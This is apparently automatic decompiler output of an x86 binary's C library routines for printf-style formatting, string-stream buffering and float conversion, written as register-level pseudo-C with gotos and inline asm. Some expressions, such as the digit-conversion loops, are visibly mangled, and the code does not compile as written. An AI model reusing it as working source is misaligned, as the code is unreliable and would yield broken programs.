L0805235c:
                    *esi = 48;
                    esi = esi - 1;
                    ecx = Vfffffb54;
                    edx = *(ecx + eax + 4);
                    *(ecx + eax + 4) = *(ecx + eax + 4) - 1;
                    if(edx > 0) {
                        goto L0805235c;
                    }
                }
            }
            if(Vfffffb38 != 0) {
                ebx = Vfffffb30;
                edi = Vfffffb54;
                if(*(edi + ebx + 24) != 0 && Vfffffb10 == 16) {
                    *esi = *(edi + ebx + 8);
                    esi = esi - 1;
                    *esi = 48;
                    esi = esi - 1;
                }
            }
            if(Vfffffb34 != 0) {
                *esi = 45;
            } else {
                if(*(Vfffffb54 + Vfffffb30 + 36) != 0) {
                    *esi = 43;
                } else {
                    if(*(Vfffffb54 + Vfffffb30 + 28) == 0) {
                        goto L080523df;
                    }
                    *esi = 32;
                }
            }
            esi = esi - 1;
L080523df:
            ebx = Vfffffb30;
            edi = Vfffffb54;
            if(*(edi + ebx + 32) == 0 && *(edi + ebx + 44) == 32) {
                edx = *(edi + ebx + 4);
                *(edi + ebx + 4) = *(edi + ebx + 4) - 1;
                if(edx > 0) {
                    eax = Vfffffb30;
L0805240c:
                    *esi = 32;
                    esi = esi - 1;
                    ecx = Vfffffb54;
                    edx = *(ecx + eax + 4);
                    *(ecx + eax + 4) = *(ecx + eax + 4) - 1;
                    if(edx > 0) {
                        goto L0805240c;
                    }
                }
            }
            edi = !esi + ebp;
            eax = *( *( *(A8 + 80) + 52))(A8, esi + 1, edi);
            if(eax != edi) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + eax;
            ebx = Vfffffb30;
            edi = Vfffffb54;
            if(*(edi + ebx + 32) == 0 || *(edi + ebx + 4) <= 0) {
                goto L08052933;
            }
            (save) *(edi + ebx + 4);
            (save)32;
            (save)A8;
            goto L08052702;
            eax = 0x8053310;
            goto L080528af;
            ebx = Vfffffb30;
            edi = Vfffffb54;
            *(edi + ebx + 4) = *(edi + ebx + 4) - 1;
            if(*(edi + ebx + 32) == 0 && *(edi + ebx + 4) > 0) {
                Vfffffb9c = Vfffffb9c + L08062534(A8, 32, *(edi + ebx + 4));
            }
            eax = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4) & 255;
            ebx = A8;
            if(*(ebx + 24) <= *(ebx + 20)) {
                if(L08061910(ebx, al & 255) == -1) {
                    goto L08050e72;
                }
            } else {
                edi = A8;
                Vfffffb20 = al;
                *( *(edi + 20)) = al;
                *(edi + 20) = *(edi + 20) + 1;
                if((Vfffffb20 & 255) == -1) {
                    goto L08050e72;
                }
            }
            Vfffffb9c = Vfffffb9c + 1;
            ecx = Vfffffb30;
            ebx = Vfffffb54;
            if(*(ebx + ecx + 32) == 0 || *(ebx + ecx + 4) <= 0) {
                goto L08052933;
            }
            (save) *(ebx + ecx + 4);
            (save)32;
            (save)A8;
            goto L08052702;
            esi = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4);
L0805257c:
            if(esi == 0) {
                ecx = Vfffffb30;
                ebx = Vfffffb54;
                if(*(ebx + ecx) == -1 || *(ebx + ecx) > 5) {
                    esi = "(null)";
                    Vfffffb10 = 6;
                } else {
                    esi = 0x8067eeb;
                    Vfffffb10 = 0;
                }
            } else {
                edi = Vfffffb30;
                ecx = Vfffffb54;
                if(*(ecx + edi) != -1) {
                    eax = L080575C0(esi, 0, *(ecx + edi));
                    Vfffffb10 = eax != 0 ? eax - esi : *(Vfffffb54 + Vfffffb30);
                } else {
                    al = 0;
                    Vfffffb10 = esi;
                    edi = esi;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    Vfffffb10 = !ecx - 1;
                    if(*(Vfffffb54 + Vfffffb30 + 4) == 0) {
                        edi = A8;
                        edx = *(edi + 80);
                        if(Vfffffb10 != *( *(edx + 52))(edi, esi, Vfffffb10)) {
                            goto L08050e72;
                        }
                        Vfffffb9c = Vfffffb9c + Vfffffb10;
                        goto L08052933;
                    }
                }
            }
            edi = Vfffffb30;
            ecx = Vfffffb54;
            edx = *(ecx + edi + 4) - Vfffffb10;
            *(ecx + edi + 4) = edx;
            if(*(ecx + edi + 32) == 0 && edx > 0) {
                Vfffffb9c = Vfffffb9c + L08062534(A8, 32, edx);
            }
            edi = A8;
            edx = *(edi + 80);
            if(Vfffffb10 != *( *(edx + 52))(edi, esi, Vfffffb10)) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + Vfffffb10;
            edi = Vfffffb30;
            ecx = Vfffffb54;
            if(*(ecx + edi + 32) == 0 || *(ecx + edi + 4) <= 0) {
                goto L08052933;
            }
            (save) *(ecx + edi + 4);
            (save)32;
            (save)A8;
L08052702:
            Vfffffb9c = Vfffffb9c + L08062534();
            esp = esp + 12;
            goto L08052933;
            edi = Vfffffb30;
            ecx = Vfffffb54;
            edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2;
            edx = *(Vfffffb4c + edx * 4);
            if(edx != 0) {
                Vfffffb10 = 16;
                Vfffffb38 = edx;
                Vfffffb34 = 0;
                *(ecx + edi + 24) = 1;
                *(ecx + edi + 8) = 120;
                *(ecx + edi + 40) = 0;
                goto L080520fb;
            }
            esi = "(nil)";
            edi = Vfffffb30;
            ecx = Vfffffb54;
            if(*(ecx + edi) > 4) {
                goto L0805257c;
            }
            *(ecx + edi) = 5;
            goto L0805257c;
            ebx = Vfffffb30;
            edi = Vfffffb54;
            if(*(edi + ebx + 12) != 0) {
                edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2;
                eax = *(Vfffffb4c + edx * 4);
                *eax = Vfffffb9c;
                *(eax + 4) = 0;
                goto L08052933;
            }
            ebx = Vfffffb30;
            edi = Vfffffb54;
            if(*(edi + ebx + 20) != 0) {
                edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2;
                edx = *(Vfffffb4c + edx * 4);
                *edx = Vfffffb9c;
                goto L08052933;
            }
            edi = Vfffffb30;
            ecx = Vfffffb54;
            if(*(ecx + edi + 16) == 0) {
                edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2;
                edx = *(Vfffffb4c + edx * 4);
                *edx = Vfffffb9c;
                goto L08052933;
            }
            *( *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4)) = Vfffffb9c;
            goto L08052933;
            esi = L08056E14( *L08078B14, & Vfffffc18, 1000);
            goto L0805257c;
        }
        eax = *L0807888C != 0 ? *( *L0807888C + ( *(Vfffffb54 + Vfffffb30 + 8) & 255) * 4) : 0;
        if(eax == 0) {
            eax = 0x80529cc;
        }
L080528af:
        ebx = Vfffffb54;
        esp = esp - *(ebx + Vfffffb30 + 72) * 4;
        Vfffffb10 = esp;
        esi = 0;
        goto L080528fc;
L080528d4:
        edx = esi;
        ebx = Vfffffb54;
        edx = edx + *(ebx + Vfffffb30 + 64) + (edx + *(ebx + Vfffffb30 + 64)) * 2;
        edx = Vfffffb4c + edx * 4;
        *(Vfffffb10 + esi * 4) = edx;
        esi = esi + 1;
L080528fc:
        if(*(ebx + Vfffffb30 + 72) > esi) {
            goto L080528d4;
        }
        eax = *eax(A8, Vfffffb54 + Vfffffb30, Vfffffb10);
        if(eax < 0) {
            goto L08050e72;
        }
        Vfffffb9c = Vfffffb9c + eax;
L08052933:
        Vfffffb20 = *(A8 + 80);
        ecx = Vfffffb30;
        ebx = Vfffffb54;
        eax = *( *(Vfffffb20 + 52))(A8, *(Vfffffb54 + Vfffffb30 + 48), *(ebx + ecx + 52) - *(ebx + ecx + 48));
        ecx = Vfffffb30;
        ebx = Vfffffb54;
        if(eax != *(ebx + ecx + 52) - *(ebx + ecx + 48)) {
            goto L08050e72;
        }
        Vfffffb9c = Vfffffb9c + eax;
        Vfffffb30 = Vfffffb30 + 88;
        Vfffffba0 = Vfffffba0 + 1;
        if(Vfffffba0 < Vfffffb5c) {
            goto L08051c08;
        }
    }
L080529b8:
    eax = Vfffffb9c;
L080529be:
    esp = ebp + -1280;
}

/*	Procedure: 0x080529CB - 0x08052C9B
 *	Argument size: 8
 *	Local size: 1028
 *	Save regs size: 12
 */

L080529CB(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vffffffff;



    edi = 0;
    if(*(A8 + 24) <= *(A8 + 20)) {
        if(L08061910(A8, 37) == -1) {
            goto L08052c84;
        }
    } else {
        *( *(A8 + 20)) = 37;
        *(A8 + 20) = *(A8 + 20) + 1;
    }
    edi = edi + 1;
    if(*(Ac + 24) != 0) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            if(L08061910(A8, 35) == -1) {
                goto L08052c84;
            }
        } else {
            *( *(A8 + 20)) = 35;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        edi = edi + 1;
    }
    if(*(Ac + 40) != 0) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            if(L08061910(A8, 39) == -1) {
                goto L08052c84;
            }
        } else {
            *( *(A8 + 20)) = 39;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        edi = edi + 1;
    }
    if(*(Ac + 36) != 0) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            (save)43;
L08052a81:
            (save)A8;
            esp = esp + 8;
            if(L08061910() == -1) {
                goto L08052c84;
            }
            goto L08052ac1;
        }
        *( *(A8 + 20)) = 43;
    } else {
        if(*(Ac + 28) == 0) {
            goto L08052ac2;
        }
        if(*(A8 + 24) <= *(A8 + 20)) {
            (save)32;
            goto L08052a81;
        }
        *( *(A8 + 20)) = 32;
    }
    *(A8 + 20) = *(A8 + 20) + 1;
L08052ac1:
    edi = edi + 1;
L08052ac2:
    if(*(Ac + 32) != 0) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            if(L08061910(A8, 45) == -1) {
                goto L08052c84;
            }
        } else {
            *( *(A8 + 20)) = 45;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        edi = edi + 1;
    }
    if(*(Ac + 44) == 48) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            if(L08061910(A8, 48) == -1) {
                goto L08052c84;
            }
        } else {
            *( *(A8 + 20)) = 48;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        edi = edi + 1;
    }
    ecx = Ac;
    if(*(ecx + 4) != 0) {
        eax = *(ecx + 4);
        Vfffffbfc = ebp;
        do {
            Vfffffbfc = Vfffffbfc - 1;
            edx = 0;
            esi = eax;
            *Vfffffbfc = *(10 / 10 % 10 / 10 + "0123456789abcdefghijklmnopqrstuvwxyz");
            eax = esi;
        } while(eax != 0);
        for(esi = Vfffffbfc; 1; edi = edi + 1) {
            esi = esi + 1;
            if(esi > & Vffffffff) {
                break;
            }
            edx = *esi & 255;
            if(*(A8 + 24) > *(A8 + 20)) {
                *( *(A8 + 20)) = dl;
                eax = dl & 255;
                *(A8 + 20) = *(A8 + 20) + 1;
            } else {
                eax = L08061910(A8, dl & 255);
            }
            if(eax == -1) {
                goto L08052c84;
            }
        }
    }
    if(*Ac != -1) {
        if(*(A8 + 24) <= *(A8 + 20)) {
            eax = L08061910(A8, 46);
            if(eax == -1) {
                goto L08052c84;
            }
        } else {
            eax = *(A8 + 20);
            *eax = 46;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        edi = edi + 1;
        eax = *Ac;
        Vfffffbfc = ebp;
        do {
            Vfffffbfc = Vfffffbfc - 1;
            edx = 0;
            esi = eax;
            *Vfffffbfc = *(10 / 10 % 10 / 10 + "0123456789abcdefghijklmnopqrstuvwxyz");
            eax = esi;
        } while(eax != 0);
        for(esi = Vfffffbfc; 1; edi = edi + 1) {
            esi = esi + 1;
            if(esi > & Vffffffff) {
                break;
            }
            edx = *esi & 255;
            if(*(A8 + 24) > *(A8 + 20)) {
                *( *(A8 + 20)) = dl;
                eax = dl & 255;
                *(A8 + 20) = *(A8 + 20) + 1;
            } else {
                eax = L08061910(A8, dl & 255);
            }
            if(eax == -1) {
                goto L08052c84;
            }
        }
    }
    ecx = Ac;
    if(*(ecx + 8) != 0) {
        edx = *(ecx + 8) & 255;
        if(*(A8 + 24) <= *(A8 + 20)) {
            if(L08061910(A8, dl & 255) == -1) {
                goto L08052c84;
            }
        } else {
            *( *(A8 + 20)) = dl;
            *(A8 + 20) = *(A8 + 20) + 1;
            if((dl & 255) == -1) {
L08052c84:
                eax = -1;
                goto L08052c8f;
            }
        }
        edi = edi + 1;
    }
    eax = edi;
L08052c8f:
    esp = ebp + -1040;
}

/*	Procedure: 0x08052C9C - 0x08052D90
 *	Argument size: 16
 *	Local size: 12
 *	Save regs size: 12
 */

L08052C9C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A8;
    edi = A10;
    if(*edi != 255) {
        Vfffffffc = *edi & 255;
        ebx = Ac - esi;
        esp = esp - (ebx + 3 & 252);
        Vfffffff8 = esp;
        L0805652C(Vfffffff8, esi + 1, ebx);
        edx = Vfffffff8;
        ecx = edx + ebx - 1;
        esi = Ac;
        if(ecx >= edx) {
            do {
                *esi = *ecx;
                ecx = ecx - 1;
                esi = esi - 1;
                if(!(Vfffffffc = Vfffffffc - 1)) {
                    if(Vfffffff8 > ecx) {
                        break;
                    }
                    *esi = A14;
                    esi = esi - 1;
                    Vfffffffc = *edi & 255;
                    edi = edi + 1;
                    if(*edi != 0) {
                        if(*edi != 255) {
                            continue;
                        } else {
                            goto L08052d24;
                        }
                    }
                    edi = edi - 1;
                }
            } while(Vfffffff8 <= ecx);
            goto L08052d85;
L08052d24:
            edx = Vfffffff8 - 1;
            eax = edx - ecx & 3;
            if(ecx > edx) {
                if(eax == 0) {
                    goto L08052d58;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        *esi = *ecx;
                        ecx = ecx - 1;
                        esi = esi - 1;
                    }
                    *esi = *ecx;
                    ecx = ecx - 1;
                    esi = esi - 1;
                }
            }
            *esi = *ecx;
            ecx = ecx - 1;
            esi = esi - 1;
            if(Vfffffff8 <= ecx) {
L08052d58:
                do {
                    *esi = *ecx;
                    *(esi - 1) = *(ecx - 1);
                    *(esi - 2) = *(ecx - 2);
                    *(esi - 3) = *(ecx - 3);
                    ecx = ecx + -4;
                    esi = esi + -4;
                } while(Vfffffff8 <= ecx);
            }
        }
    }
L08052d85:
    eax = esi;
    esp = ebp - 24;
}

/*	Procedure: 0x08052D91 - 0x08052DE7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08052D91(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;



    esi = *(A8 + 84);
    if(!(edx = *(A8 + 20) - *(A8 + 16))) {
        eax = *(esi + 80);
        eax = *( *(eax + 52))(esi, *(A8 + 16), edx);
        *(A8 + 20) = *(A8 + 20) - eax;
    }
    edx = *(A8 + 20);
    if(*(A8 + 24) > edx) {
        *edx = Ac;
        eax = *edx & 255;
        *(A8 + 20) = *(A8 + 20) + 1;
    } else {
        eax = L08061910(A8, Ac & 255);
    }
}

/*	Procedure: 0x08052DE8 - 0x08052E7E
 *	Argument size: 12
 *	Local size: 1112
 *	Save regs size: 12
 */

L08052DE8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffba8;
	/* unknown */ void  Vfffffbb8;
	/* unknown */ void  Vfffffbbc;
	/* unknown */ void  Vfffffbc0;
	/* unknown */ void  Vfffffbf8;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vfffffc00;



    Vfffffbfc = A8;
    eax = & Vfffffc00;
    Vfffffbb8 = eax;
    Vfffffbbc = Vfffffbb8;
    Vfffffbc0 = ebp;
    Vfffffba8 = -72548348;
    Vfffffbf8 = 0x8067ef4;
    edi = L0804F888( & Vfffffba8, Ac, A10);
    ebx = Vfffffbbc - Vfffffbb8;
    if(ebx > 0) {
        eax = *(A8 + 80);
        if(*( *(eax + 52))(A8, Vfffffbb8, ebx) != ebx) {
            eax = -1;
            goto L08052e72;
        }
    }
    eax = edi;
L08052e72:
    esp = ebp + -1124;
}

/*	Procedure: 0x08052E7F - 0x08052E7F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08052E7F()
{



}

/*	Procedure: 0x08052E80 - 0x08052F30
 *	Argument size: 16
 *	Local size: 4
 *	Save regs size: 12
 */

L08052E80(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    ebx = A10;
    if(ebx == 0) {
        al = 0;
        edi = Ac;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        ebx = !ecx - 1;
    } else {
        if(ebx < 0) {
            edx = 1024;
            if(Ac + 1024 > Ac) {
                do {
                    if(edx > 67108863) {
                        break;
                    }
                    edx = edx + edx;
                    if(edx <= 0) {
                        break;
                    }
                } while(edx + Ac > Ac);
            }
            ebx = edx;
        }
    }
    ecx = ebx + Ac;
    Vfffffffc = ecx;
    edi = A8;
    eax = L08061B6C(edi, Ac, Vfffffffc, 0);
    *(edi + 16) = Ac;
    *(edi + 12) = Ac;
    *(edi + 4) = Ac;
    if(A14 != 0) {
        *(edi + 20) = A14;
        *(edi + 24) = Vfffffffc;
        *(edi + 8) = A14;
    } else {
        edi = A8;
        *(edi + 20) = Ac;
        *(edi + 24) = Ac;
        *(edi + 8) = Ac + ebx;
    }
    ecx = A8;
    *(ecx + 84) = ebx;
    *(ecx + 88) = 0;
    esp = ebp - 16;
}

/*	Procedure: 0x08052F31 - 0x08052F54
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08052F31(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    *A8 = *A8 | 8;
    return(L08052E80(A8, Ac, A10, 0));
}

/*	Procedure: 0x08052F55 - 0x08053075
 *	Argument size: 8
 *	Local size: 12
 *	Save regs size: 12
 */

L08052F55(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = 0;
    Vfffffff8 = *(A8 + 20) - *(A8 + 16);
    Vfffffff4 = *(A8 + 4) - *(A8 + 12);
    if(!( *A8 & 8)) {
        eax = 0;
        if(Vfffffffc == 0) {
L08052f96:
            eax = -1;
        }
    } else {
        ecx = Vfffffff8;
        if(*(A8 + 84) < ecx) {
            *(A8 + 84) = ecx;
        }
        if(( *A8 & 3072) == 1024) {
            Vfffffff8 = Vfffffff4;
            *A8 = *A8 | 2048;
            Vfffffff4 = *(A8 + 84);
        }
        if(Vfffffff8 >= *(A8 + 32) - *(A8 + 28) + Vfffffffc) {
            if(*A8 & 1) {
                goto L08052f96;
            }
            edi = *(A8 + 32) - *(A8 + 28) + *(A8 + 32) - *(A8 + 28);
            esi = *( *(A8 + 88))(edi);
            if(esi == 0) {
                goto L08052f96;
            }
            edx = *(A8 + 28);
            L0805652C(esi, edx, *(A8 + 32) - edx);
            if(*(A8 + 28) != 0) {
                *( *(A8 + 92))( *(A8 + 28));
                *(A8 + 28) = 0;
            }
            L08061B6C(A8, esi, edi + esi, 1);
            *(A8 + 16) = esi;
            *(A8 + 24) = *(A8 + 32);
        }
        *(A8 + 20) = Vfffffff8 + *(A8 + 28);
        *(A8 + 12) = *(A8 + 28);
        *(A8 + 4) = Vfffffff4 + *(A8 + 28);
        *(A8 + 8) = *(A8 + 28) + *(A8 + 84);
        if(Vfffffffc == 0) {
            eax = *(A8 + 20);
            *eax = Ac;
            *(A8 + 20) = *(A8 + 20) + 1;
        }
        eax = Ac;
    }
    esp = ebp - 24;
}

/*	Procedure: 0x08053076 - 0x080530C9
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08053076(A8)
/* unknown */ void  A8;
{



    eax = *(A8 + 20) - *(A8 + 16);
    if(*(A8 + 84) < eax) {
        *(A8 + 84) = eax;
    }
    if(( *A8 & 3072) == 3072) {
        *A8 = *A8 & -2049;
        *(A8 + 20) = *(A8 + 24);
    }
    ecx = *(A8 + 12) + *(A8 + 84);
    *(A8 + 8) = ecx;
    if(*(A8 + 4) >= ecx) {
        return(-1);
    }
    eax = *( *(A8 + 4)) & 255;
    esp = ebp;
}

/*	Procedure: 0x080530CA - 0x080530CB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080530CA()
{



}

/*	Procedure: 0x080530CC - 0x080530E3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080530CC(A8)
/* unknown */ void  A8;
{



    eax = *(A8 + 20) - *(A8 + 16);
    if(*(A8 + 84) > eax) {
        eax = *(A8 + 84);
    }
}

/*	Procedure: 0x080530E4 - 0x0805317E
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L080530E4(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;



    ebx = Ac;
    edx = L080530CC(A8);
    eax = -1;
    if(!(cl & 1)) {
        if(A10 != 1) {
            if(A10 == 2) {
                ebx = ebx + edx;
            }
        } else {
            ebx = ebx + *(A8 + 4) - *(A8 + 12);
        }
        if(ebx < 0 || ebx > edx) {
            goto L08053160;
        }
        *(A8 + 4) = *(A8 + 12) + ebx;
        *(A8 + 8) = *(A8 + 12) + edx;
        eax = ebx;
    }
    if(!(A14 & 2)) {
        if(A10 != 1) {
            if(A10 == 2) {
                ebx = ebx + edx;
            }
        } else {
            ebx = ebx + *(A8 + 20) - *(A8 + 16);
        }
        if(ebx < 0 || ebx > edx) {
L08053160:
            eax = -1;
        } else {
            *(A8 + 84) = edx;
            *(A8 + 20) = *(A8 + 16) + ebx;
            eax = ebx;
        }
    }
}

/*	Procedure: 0x0805317F - 0x080531A6
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0805317F(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(!( *A8 & 8) && Ac != -1) {
        return(-1);
    }
    return(L080623B8(A8, Ac));
}

/*	Procedure: 0x080531A7 - 0x080531D9
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L080531A7(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 28) != 0 && !( *A8 & 1)) {
        *( *(A8 + 92))( *(A8 + 28));
    }
    *(A8 + 28) = 0;
    return(L08061FC0(A8));
}

/*	Procedure: 0x080531DA - 0x080531DB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080531DA()
{



}

/*	Procedure: 0x080531DC - 0x0805330E
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 8
 */

L080531DC()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    ebx = Vfffffffc;
    if(*(ebx - 16) != 0 && *(ebx - 20) == 102) {
        eax = *(ebx - 24);
        *(ebx - 24) = *(ebx - 24) - 1;
        if(eax > 0) {
            esi = 0;
            goto L080532fd;
        }
    }
    if(*(ebx - 28) == 0) {
        eax = *(ebx - 36);
        edx = *(ebx - 32);
        esi = *(edx + eax * 4 - 4);
        (save)10;
        (save)eax - 1;
        (save)edx;
        (save)edx;
        ecx = L08058DE0();
        *(ebx - 40) = ecx;
        edx = *(ebx - 36);
        *( *(ebx - 32) + edx * 4 - 4) = ecx;
    } else {
        if(*(ebx - 28) > *(ebx - 36)) {
            esi = 0;
            goto L080532d8;
L08053248:
            eax = edx + 1;
        } else {
            esi = L08058094( *(ebx - 48), *(ebx - 32), *(ebx - 36), *(ebx - 44), *(ebx - 28));
            edx = *(ebx - 36) - *(ebx - 28);
            *( *(ebx - 48) + edx * 4) = esi;
            esi = *( *(ebx - 48));
            ecx = *(ebx - 32);
            edx = *(ebx - 28);
            if(edx != 0) {
                eax = ~edx & 3;
                if(edx > 0) {
                    if(eax == 0) {
                        goto L080532a4;
                    }
                    if(eax < 3) {
                        if(eax < 2) {
                            goto L080532ab;
L080532a4:
                            edx = edx - 1;
                            if(*(ecx + edx * 4) != 0) {
                                goto L08053248;
                            }
L080532ab:
                            edx = edx - 1;
                            if(*(ecx + edx * 4) != 0) {
                                goto L08053248;
                            }
                        }
                        edx = edx - 1;
                        if(*(ecx + edx * 4) != 0) {
                            goto L08053248;
                        }
                    }
                }
                edx = edx - 1;
                if(*(ecx + edx * 4) != 0) {
                    goto L08053248;
                }
                if(edx != 0) {
                    goto L080532a4;
                }
            }
            eax = 0;
        }
        *(ebx - 36) = eax;
        if(eax == 0) {
            *(ebx - 36) = 1;
        } else {
L080532d8:
            eax = *(ebx - 32);
            ecx = L08058DE0(eax, eax, *(ebx - 36), 10);
            *(ebx - 40) = ecx;
            if(ecx != 0) {
                edx = *(ebx - 36);
                *( *(ebx - 32) + edx * 4) = ecx;
                *(ebx - 36) = *(ebx - 36) + 1;
            }
        }
    }
L080532fd:
    eax = esi + 48 & 255;
    esp = ebp - 12;
}

/*	Procedure: 0x0805330F - 0x08054C27
 *	Argument size: 354
 *	Local size: 344
 *	Save regs size: 12
 */

L0805330F(A8, Ac, A10, A166)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A166;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffea8;
	/* unknown */ void  Vfffffeac;
	/* unknown */ void  Vfffffeb0;
	/* unknown */ void  Vffffff5c;
	/* unknown */ void  Vffffff60;
	/* unknown */ void  Vffffff64;
	/* unknown */ void  Vffffff68;
	/* unknown */ void  Vffffff6c;
	/* unknown */ void  Vffffff70;
	/* unknown */ void  Vffffff74;
	/* unknown */ void  Vffffff78;
	/* unknown */ void  Vffffff7c;
	/* unknown */ void  Vffffff80;
	/* unknown */ void  Vffffff84;
	/* unknown */ void  Vffffff88;
	/* unknown */ void  Vffffff8c;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffff94;
	/* unknown */ void  Vffffff98;
	/* unknown */ void  Vffffff9c;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A10;
    Vffffffac = 0;
    Vfffffff0 = 0;
    Vffffffc4 = 0;
    Vffffffa4 = 0;
    Vffffff60 = *( *L08078890 + 12);
    edi = Vffffff60;
    al = 0;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    if(L0805602C( & Vffffffcc, Vffffff60, !ecx - 1) <= 0) {
        Vffffffcc = *( *( *L08078890 + 12)) & 255;
    }
    if(*(Ac + 40) != 0) {
        edx = *( *L08078890 + 20);
        Vffffffb0 = edx;
        if(*edx != 0 && *edx != 255) {
            edx = *( *L08078890 + 16);
            al = 0;
            edi = edx;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            if(L0805602C( & Vffffffc8, edx, !ecx - 1) <= 0) {
                Vffffffc8 = *( *( *L08078890 + 16)) & 255;
            }
            if(Vffffffc8 != 0) {
                goto L080533ed;
            }
        }
    }
    Vffffffb0 = 0;
L080533ed:
    if(*(Ac + 12) != 0) {
        eax = *ebx;
        edx = *eax;
        Vfffffff4 = edx;
        Vfffffff8 = *(eax + 4);
        Vfffffffc = *(eax + 8);
        if(L08057F0C(Vfffffff4, Vfffffff8, Vfffffffc) != 0) {
            goto L080534b5;
        }
        eax = L08057E98(Vfffffff4, Vfffffff8, Vfffffffc);
        if(eax != 0) {
            Vffffffac = 0x8067f88;
            (fsave)0;
            (fsave)tword [ebp-0xc];
            asm("fcompp");
            asm("fnstsw ax");
            al = 0;
            goto L080534f0;
        }
        eax = L08058634( & Vffffffbc, 2, & Vffffffe8, & Vffffffc4, Vfffffff4, Vfffffff8, Vfffffffc);
        Vffffffdc = eax;
        Vffffffa8 = (Vffffffdc << 5) + -63;
    } else {
        eax = *ebx;
        edx = *eax;
        Vfffffff4 = edx;
        Vfffffff8 = *(eax + 4);
        if(L08057ED8(Vfffffff4, Vfffffff8) != 0) {
L080534b5:
            Vffffffac = 0x8067f84;
            Vffffffc4 = 0;
        } else {
            eax = L08057E64(Vfffffff4, Vfffffff8);
            if(eax != 0) {
                Vffffffac = 0x8067f88;
                (fsave)0;
                asm("fcomp qword [ebp-0xc]");
                asm("fnstsw ax");
